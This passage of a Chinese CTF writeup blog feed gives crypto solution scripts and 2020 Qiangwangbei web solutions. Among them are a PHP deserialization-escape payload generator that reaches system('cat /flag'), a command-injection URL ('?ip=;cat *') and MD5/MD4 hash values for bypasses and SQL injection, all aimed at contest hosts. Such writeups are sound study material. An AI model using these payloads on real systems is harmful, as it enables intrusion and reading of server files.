class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_points</span>(<span class="params">P, Q</span>):</span></span><br><span class="line">    <span class="keyword">return</span> ((P[<span class="number">0</span>]*Q[<span class="number">0</span>]-P[<span class="number">1</span>]*Q[<span class="number">1</span>]) % p, (P[<span class="number">0</span>]*Q[<span class="number">1</span>]+P[<span class="number">1</span>]*Q[<span class="number">0</span>]) % p)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">multiply</span>(<span class="params">P, n</span>):</span></span><br><span class="line">    Q = (<span class="number">1</span>, <span class="number">0</span>)</span><br><span class="line">    <span class="keyword">while</span> n &gt; <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">if</span> n % <span class="number">2</span> == <span class="number">1</span>:</span><br><span class="line">            Q = add_points(Q, P)</span><br><span class="line">        P = add_points(P, P)</span><br><span class="line">        n = n//<span class="number">2</span></span><br><span class="line">    <span class="keyword">return</span> Q</span><br><span class="line"></span><br><span class="line">A = (<span class="number">68279847973010227567437241690876400434176575735647388141445319082120661</span>, <span class="number">36521392659318312718307506287199839545959127964141955928297920414981390</span>)</span><br><span class="line">B = (<span class="number">84698630137710906531637499064120297563999383201108850561060383338482806</span>, <span class="number">10975400339031190591877824767290004140780471215800442883565278903964109</span>)</span><br><span class="line">g = (<span class="number">29223879291878505213325643878338189297997503744039619988987863719655098</span>, <span class="number">32188620669315455017576071518169599806490004123869726364682284676721556</span>)</span><br><span class="line">p = gcd(A[<span class="number">0</span>]^<span class="number">2</span> + A[<span class="number">1</span>]^<span class="number">2</span> - <span class="number">1</span>, B[<span class="number">0</span>]^<span class="number">2</span> + B[<span class="number">1</span>]^<span class="number">2</span> - <span class="number">1</span>)</span><br><span class="line">p = p / <span class="number">4</span></span><br><span class="line">F = GF(p)</span><br><span class="line">R.&lt;w&gt; = PolynomialRing(F)</span><br><span class="line">K.&lt;w&gt; = F.extension(w^<span class="number">2</span> + <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">g_K = g[<span class="number">0</span>] + g[<span class="number">1</span>]*w</span><br><span class="line">B_K = B[<span class="number">0</span>] + B[<span class="number">1</span>]*w</span><br><span class="line">b = discrete_log(B_K, g_K)</span><br><span class="line"></span><br><span class="line">print(multiply(g, b) == B)</span><br><span class="line"></span><br><span class="line">shared = multiply(A, b)[<span class="number">0</span>]</span><br><span class="line">key = sha256(long_to_bytes(shared)).digest()</span><br><span class="line">aes = AES.new(key, AES.MODE_ECB)</span><br><span class="line">cipher = <span class="built_in">bytes</span>.fromhex(<span class="string">&#x27;26b1b05962d188f1f2abdfad2cef049d45cfc27d9e46f40ebe52e367941bcfa05dd0ef698f528375be2185759e663431&#x27;</span>)</span><br><span class="line">print(aes.decrypt(cipher))</span><br></pre></td></tr></table></figure><h3 id="da-Vinci-after-rsa"><a href="#da-Vinci-after-rsa" class="headerlink" title="da Vinci after rsa"></a>da Vinci after rsa</h3><p>先是个rsa，然后是达芬奇密码。</p><p>rsa 发现n可以直接分解，有三个因子，两个因子的欧拉值都与 e 不互素，并且因子比较小。</p><p>想起来 2016 0CTF 一个题，应该是先要解三个模数方程，然后用 CRT 求解。</p><p>16年那个题题解在这里：<a href="https://wooyun.js.org/drops/0ctf%20writeup.html">https://wooyun.js.org/drops/0ctf%20writeup.html</a>。求三个模数方程可以用<a href="https://www.wolframalpha.com/在线求解。">https://www.wolframalpha.com/在线求解。</a></p><p>求解后使用CRT，然后再达芬奇密码解密。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">GCRT</span>(<span class="params">mi, ai</span>):</span></span><br><span class="line">    <span class="comment"># mi,ai分别表示模数和取模后的值,都为列表结构</span></span><br><span class="line">    <span class="keyword">assert</span> (<span class="built_in">isinstance</span>(mi, <span class="built_in">list</span>) <span class="keyword">and</span> <span class="built_in">isinstance</span>(ai, <span class="built_in">list</span>))</span><br><span class="line">    curm, cura = mi[<span class="number">0</span>], ai[<span class="number">0</span>]</span><br><span class="line">    <span class="keyword">for</span> (m, a) <span class="keyword">in</span> <span class="built_in">zip</span>(mi[<span class="number">1</span>:], ai[<span class="number">1</span>:]):</span><br><span class="line">        d = gcd(curm, m)</span><br><span class="line">        c = a - cura</span><br><span class="line">        <span class="keyword">assert</span> (c % d == <span class="number">0</span>)  <span class="comment"># 不成立则不存在解</span></span><br><span class="line">        K = c / d * gmpy2.invert(curm / d, m / d)</span><br><span class="line">        cura += curm * K</span><br><span class="line">        curm = curm * m / d</span><br><span class="line">    <span class="keyword">return</span> (cura % curm, curm)  <span class="comment"># (解,最小公倍数)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">n = <span class="number">0x1d42aea2879f2e44dea5a13ae3465277b06749ce9059fd8b7b4b560cd861f99144d0775ffffffffffff</span></span><br><span class="line">c = <span class="number">421363015174981309103786520626603807427915973516427836319727073378790974986429057810159449046489151</span></span><br><span class="line">p = <span class="number">9749</span></span><br><span class="line">q = <span class="number">11237753507624591</span></span><br><span class="line">r = n / p / q</span><br><span class="line">e = <span class="number">5</span></span><br><span class="line"></span><br><span class="line">p_roots = [<span class="number">7361</span>]</span><br><span class="line">q_roots = [<span class="number">2722510300825886</span>, <span class="number">6139772527803903</span>, <span class="number">6537111956662153</span>, <span class="number">8415400986072042</span>, <span class="number">9898464751509789</span>]</span><br><span class="line">r_roots = [<span class="number">180966415225632465120208272366108475667934082405238808958048294287011243645</span>,</span><br><span class="line">           <span class="number">2816114411493328258682873357893989007684496552202823306045771363205185148674391</span>,</span><br><span class="line">           <span class="number">1369135259891793292334345751773139388112378132927363770631732500241630990458667</span>,</span><br><span class="line">           <span class="number">5570877862584063114417410584640901580756179707042774516590562822938385811269597</span>,</span><br><span class="line">           <span class="number">8499052407588078002885931765166137308397074232361087682974448633946350539292222</span>]</span><br><span class="line">m_list = []</span><br><span class="line"><span class="keyword">for</span> pp <span class="keyword">in</span> p_roots:</span><br><span class="line">    <span class="keyword">for</span> qq <span class="keyword">in</span> q_roots:</span><br><span class="line">        <span class="keyword">for</span> rr <span class="keyword">in</span> r_roots:</span><br><span class="line">            res = GCRT([p, q, r], [pp, qq, rr])[<span class="number">0</span>]</span><br><span class="line">            <span class="keyword">if</span> <span class="built_in">pow</span>(res, e, n) == c:</span><br><span class="line">                <span class="built_in">print</span> long_to_bytes(res)</span><br><span class="line">flag_enc = <span class="string">&quot;weadfa9987_adwd23123_454f&quot;</span></span><br><span class="line">enc = [<span class="number">1</span>, <span class="number">28657</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">3</span>, <span class="number">17711</span>, <span class="number">5</span>, <span class="number">8</span>, <span class="number">13</span>, <span class="number">21</span>, <span class="number">46368</span>, <span class="number">75025</span>, <span class="number">34</span>, <span class="number">55</span>, <span class="number">89</span>, <span class="number">610</span>, <span class="number">377</span>, <span class="number">144</span>, <span class="number">233</span>, <span class="number">1597</span>, <span class="number">2584</span>, <span class="number">4181</span>, <span class="number">6765</span>,</span><br><span class="line">       <span class="number">10946</span>, <span class="number">987</span>]</span><br><span class="line">a = [<span class="number">1</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">5</span>, <span class="number">8</span>, <span class="number">13</span>, <span class="number">21</span>, <span class="number">34</span>, <span class="number">55</span>, <span class="number">89</span>, <span class="number">144</span>, <span class="number">233</span>, <span class="number">377</span>, <span class="number">610</span>, <span class="number">987</span>, <span class="number">1597</span>, <span class="number">2584</span>, <span class="number">4181</span>, <span class="number">6765</span>, <span class="number">10946</span>, <span class="number">17711</span>, <span class="number">28657</span>, <span class="number">46368</span>,</span><br><span class="line">     <span class="number">75025</span>]</span><br><span class="line">flag = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> enc:</span><br><span class="line">    flag += flag_enc[a.index(i)]</span><br><span class="line"><span class="built_in">print</span> flag</span><br><span class="line"><span class="comment"># w5awd4fa994f87_dwad3123_2</span></span><br><span class="line"><span class="comment"># flag&#123;w5aed4fa994f87_dwad3123_2&#125;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="ezAES"><a href="#ezAES" class="headerlink" title="ezAES"></a>ezAES</h3><p>密钥两位未知，拥有最后一个分组的明密文，以及倒数第二段密文的后10个字符，可以爆破。</p><p>爆破出密钥后从后向前求密文和 IV 就好了：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.strxor <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line"></span><br><span class="line">key = <span class="string">b&#x27;T0EyZaLRzQmNe2pd&#x27;</span></span><br><span class="line">KEYSIZE = <span class="built_in">len</span>(key)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">pad</span>(<span class="params">message</span>):</span></span><br><span class="line">    p = (KEYSIZE - <span class="built_in">len</span>(message) % KEYSIZE) * <span class="built_in">chr</span>(KEYSIZE - <span class="built_in">len</span>(message) % KEYSIZE)</span><br><span class="line">    <span class="keyword">return</span> message + p</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">h = hashlib.md5(key).hexdigest()</span><br><span class="line">SECRET = binascii.unhexlify(h)[:<span class="number">10</span>]</span><br><span class="line">message = <span class="string">&#x27;AES CBC Mode is commonly used in data encryption. What do you know about it?&#x27;</span> + SECRET</span><br><span class="line">message = pad(message)</span><br><span class="line">data1 = <span class="string">&quot;a32c412a3e7474e584cd72481dab9dd83141706925d92bdd39e4&quot;</span>.decode(<span class="string">&quot;hex&quot;</span>)</span><br><span class="line">c = data1[<span class="number">-16</span>:]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(message), <span class="number">0</span>, <span class="number">-16</span>):</span><br><span class="line">    c = strxor(AES.new(key).decrypt(c), message[i - <span class="number">16</span>:i])</span><br><span class="line"><span class="built_in">print</span> c</span><br><span class="line"></span><br><span class="line"><span class="comment"># str_list = [chr(i) for i in range(255)]</span></span><br><span class="line"><span class="comment"># for c1 in str_list:</span></span><br><span class="line"><span class="comment">#     for c2 in str_list:</span></span><br><span class="line"><span class="comment">#         key = &quot;T0EyZaLRzQmNe2&quot; + c1 + c2</span></span><br><span class="line"><span class="comment">#         if strxor(AES.new(key).decrypt(data1[-16:]), message[-16:])[-10:] == data1[:-16]:</span></span><br><span class="line"><span class="comment">#             print(c1 + c2)</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="what-r-the-noise"><a href="#what-r-the-noise" class="headerlink" title="what_r_the_noise"></a>what_r_the_noise</h3><p>基本原题，参考：<a href="https://teamrocketist.github.io/2017/10/22/Crypto-Pwn2Win-2017-Differential-Privacy/">https://teamrocketist.github.io/2017/10/22/Crypto-Pwn2Win-2017-Differential-Privacy/</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">r = remote(<span class="string">&#x27;124.71.145.165&#x27;</span>, <span class="number">9999</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_list</span>():</span></span><br><span class="line">    r.sendlineafter(<span class="string">&quot;:&quot;</span>, <span class="string">&quot;2&quot;</span>)</span><br><span class="line">    s = r.recvline()</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">eval</span>(<span class="string">&quot;[&quot;</span> + s + <span class="string">&quot;]&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">d = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">47</span>):</span><br><span class="line">    d.append(<span class="built_in">list</span>())</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000</span>):</span><br><span class="line">    <span class="keyword">if</span> i % <span class="number">100</span> == <span class="number">0</span>:</span><br><span class="line">        <span class="built_in">print</span> i</span><br><span class="line"></span><br><span class="line">    l = get_list()</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(l)):</span><br><span class="line">        d[j].append(l[j])</span><br><span class="line">result = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">47</span>):</span><br><span class="line">    av = <span class="built_in">sum</span>(d[i]) / <span class="built_in">len</span>(d[i])</span><br><span class="line">    result.append(<span class="built_in">int</span>(<span class="built_in">round</span>(av)))</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> result</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> <span class="string">&quot;&quot;</span>.join([<span class="built_in">chr</span>(c) <span class="keyword">for</span> c <span class="keyword">in</span> result])</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;Web 与 Crypto 大部分题目难度不大，整理下题解。&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="wp" scheme="https://igml.top/categories/CTF/wp/"/>
    
    
    <category term="CTF.wp" scheme="https://igml.top/tags/CTF-wp/"/>
    
  </entry>
  
  <entry>
    <title>2020 强网杯 writeup</title>
    <link href="https://igml.top/2020/08/28/2020-qwb/"/>
    <id>https://igml.top/2020/08/28/2020-qwb/</id>
    <published>2020-08-28T08:30:49.000Z</published>
    <updated>2020-08-28T08:44:42.678Z</updated>
    
    <content type="html"><![CDATA[<p>打完强网杯就去学校报道了，抽空补一下wp。</p><h3 id="强网先锋-辅助"><a href="#强网先锋-辅助" class="headerlink" title="强网先锋-辅助"></a>强网先锋-辅助</h3><p>反序列化逃逸，参考<a href="https://m0nit0r.top/2020/02/05/object-injection-caused-by-PHP-string-escape/#Joomla逃逸">https://m0nit0r.top/2020/02/05/object-injection-caused-by-PHP-string-escape/#Joomla%E9%80%83%E9%80%B8</a>再加上绕过wakeup，以及反序列化中使用大写S可用十六进制表示的一些绕过方式。</p><p>需要注意调试的时候最好url编码，直接echo \0 无法显示，算覆盖长度的时候容易出错。</p><a id="more"></a><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">player</span></span>&#123;</span><br><span class="line">   <span class="keyword">protected</span> $user;</span><br><span class="line">   <span class="keyword">protected</span> $pass;</span><br><span class="line">   <span class="keyword">protected</span> $admin;</span><br><span class="line"> </span><br><span class="line">   <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$user, $pass, $admin = <span class="number">0</span></span>)</span>&#123;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;user = $user;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;pass = $pass;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;admin = $admin;</span><br><span class="line">   &#125;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">topsolo</span></span>&#123;</span><br><span class="line">   <span class="keyword">protected</span> $name;</span><br><span class="line"> </span><br><span class="line">   <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$name = <span class="string">&#x27;Riven&#x27;</span></span>)</span>&#123;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;name = $name;</span><br><span class="line">   &#125;</span><br><span class="line"> </span><br><span class="line">   <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">TP</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">       <span class="keyword">if</span> (gettype(<span class="keyword">$this</span>-&gt;name) === <span class="string">&quot;function&quot;</span> <span class="keyword">or</span> gettype(<span class="keyword">$this</span>-&gt;name) === <span class="string">&quot;object&quot;</span>)&#123;</span><br><span class="line">           $name = <span class="keyword">$this</span>-&gt;name;</span><br><span class="line">           $name();</span><br><span class="line">       &#125;</span><br><span class="line">   &#125;</span><br><span class="line"> </span><br><span class="line">   <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;TP();</span><br><span class="line">   &#125;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">midsolo</span></span>&#123;</span><br><span class="line">   <span class="keyword">protected</span> $name;</span><br><span class="line"> </span><br><span class="line">   <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$name</span>)</span>&#123;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;name = $name;</span><br><span class="line">   &#125;</span><br><span class="line"> </span><br><span class="line">   <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">       <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;name !== <span class="string">&#x27;Yasuo&#x27;</span>)&#123;</span><br><span class="line">           <span class="keyword">$this</span>-&gt;name = <span class="string">&#x27;Yasuo&#x27;</span>;</span><br><span class="line">           <span class="keyword">echo</span> <span class="string">&quot;No Yasuo! No Soul!\n&quot;</span>;</span><br><span class="line">       &#125;</span><br><span class="line">   &#125;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">   <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;Gank();</span><br><span class="line">   &#125;</span><br><span class="line"> </span><br><span class="line">   <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">Gank</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">       <span class="keyword">if</span> (stristr(<span class="keyword">$this</span>-&gt;name, <span class="string">&#x27;Yasuo&#x27;</span>))&#123;</span><br><span class="line">           <span class="keyword">echo</span> <span class="string">&quot;Are you orphan?\n&quot;</span>;</span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">else</span>&#123;</span><br><span class="line">           <span class="keyword">echo</span> <span class="string">&quot;Must Be Yasuo!\n&quot;</span>;</span><br><span class="line">       &#125;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">jungle</span></span>&#123;</span><br><span class="line">   <span class="keyword">protected</span> $name = <span class="string">&quot;&quot;</span>;</span><br><span class="line"> </span><br><span class="line">   <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$name = <span class="string">&quot;Lee Sin&quot;</span></span>)</span>&#123;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;name = $name;</span><br><span class="line">   &#125;</span><br><span class="line"> </span><br><span class="line">   <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">KS</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">       system(<span class="string">&quot;cat /flag&quot;</span>);</span><br><span class="line">   &#125;</span><br><span class="line"> </span><br><span class="line">   <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;KS();</span><br><span class="line">       <span class="keyword">return</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">   &#125;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">read</span>(<span class="params">$data</span>)</span>&#123;</span><br><span class="line">   $data = str_replace(<span class="string">&#x27;\0*\0&#x27;</span>, chr(<span class="number">0</span>).<span class="string">&quot;*&quot;</span>.chr(<span class="number">0</span>), $data);</span><br><span class="line">   <span class="keyword">return</span> $data;</span><br><span class="line">&#125;</span><br><span class="line">$a = <span class="keyword">new</span> jungle(<span class="string">&#x27;gml&#x27;</span>);</span><br><span class="line">$b = <span class="keyword">new</span> midsolo($a);</span><br><span class="line">$c = <span class="keyword">new</span> topsolo($b);</span><br><span class="line">$data = <span class="string">&#x27;O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6eame%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6eame%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6eame%22%3Bs%3A3%3A%22gml%22%3B%7D%7D%7D&#x27;</span>;</span><br><span class="line">$data = urldecode($data);</span><br><span class="line">$data = <span class="string">&#x27;gml&quot;;s:8:&quot;password&quot;;&#x27;</span>.$data.<span class="string">&#x27;&#125;&#x27;</span>;</span><br><span class="line">$username = <span class="string">&#x27;gml\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&#x27;</span>;</span><br><span class="line">$password = urlencode($data);</span><br><span class="line"><span class="keyword">echo</span> $username.<span class="string">&quot;\n&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> $password;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="强网先锋-主动"><a href="#强网先锋-主动" class="headerlink" title="强网先锋-主动"></a>强网先锋-主动</h3><p>[<a href="http://39.96.23.228:10002/?ip=;cat%20*]">http://39.96.23.228:10002/?ip=;cat%20*]</a>(<a href="http://39.96.23.228:10002/?ip=;cat">http://39.96.23.228:10002/?ip=;cat</a> *)</p><h3 id="强网先锋-Funhash"><a href="#强网先锋-Funhash" class="headerlink" title="强网先锋-Funhash"></a>强网先锋-Funhash</h3><p>Md4那个绕过，需要字符0e开头，后面都是数字，并且md4的结果需要是 0e[0-9]{30} 的形式。<a href="https://medium.com/@Asm0d3us/part-1-php-tricks-in-web-ctf-challenges-e1981475b3e4里面有现成的数。第二关数组绕过，数据库那个应该找到一个字符串，md5含有">https://medium.com/@Asm0d3us/part-1-php-tricks-in-web-ctf-challenges-e1981475b3e4里面有现成的数。第二关数组绕过，数据库那个应该找到一个字符串，md5含有</a> ‘or’这种，一番搜索在<a href="https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes里找到了现成的数。[http://39.101.177.96/?hash1=0e001233333333333334557778889&amp;hash2[]=1&amp;hash3[]=2&amp;hash4=129581926211651571912466741651878684928](http://39.101.177.96/?hash1=0e001233333333333334557778889&amp;hash2[]=1&amp;hash3[]=2&amp;hash4=129581926211651571912466741651878684928)">https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes里找到了现成的数。[http://39.101.177.96/?hash1=0e001233333333333334557778889&amp;hash2[]=1&amp;hash3[]=2&amp;hash4=129581926211651571912466741651878684928](http://39.101.177.96/?hash1=0e001233333333333334557778889&amp;hash2[]=1&amp;hash3[]=2&amp;hash4=129581926211651571912466741651878684928)</a></p><h3 id="half-infiltration"><a href="#half-infiltration" class="headerlink" title="half_infiltration"></a>half_infiltration</h3><p>Ob_end_clean 导致什么也不会输出，需要触发异常直接退出，才能绕过。要反序列化两个对象，第一个用来取到$flag，第二个用全局 $this 触发异常，这样就会输出了。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Pass</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">   <span class="keyword">public</span> 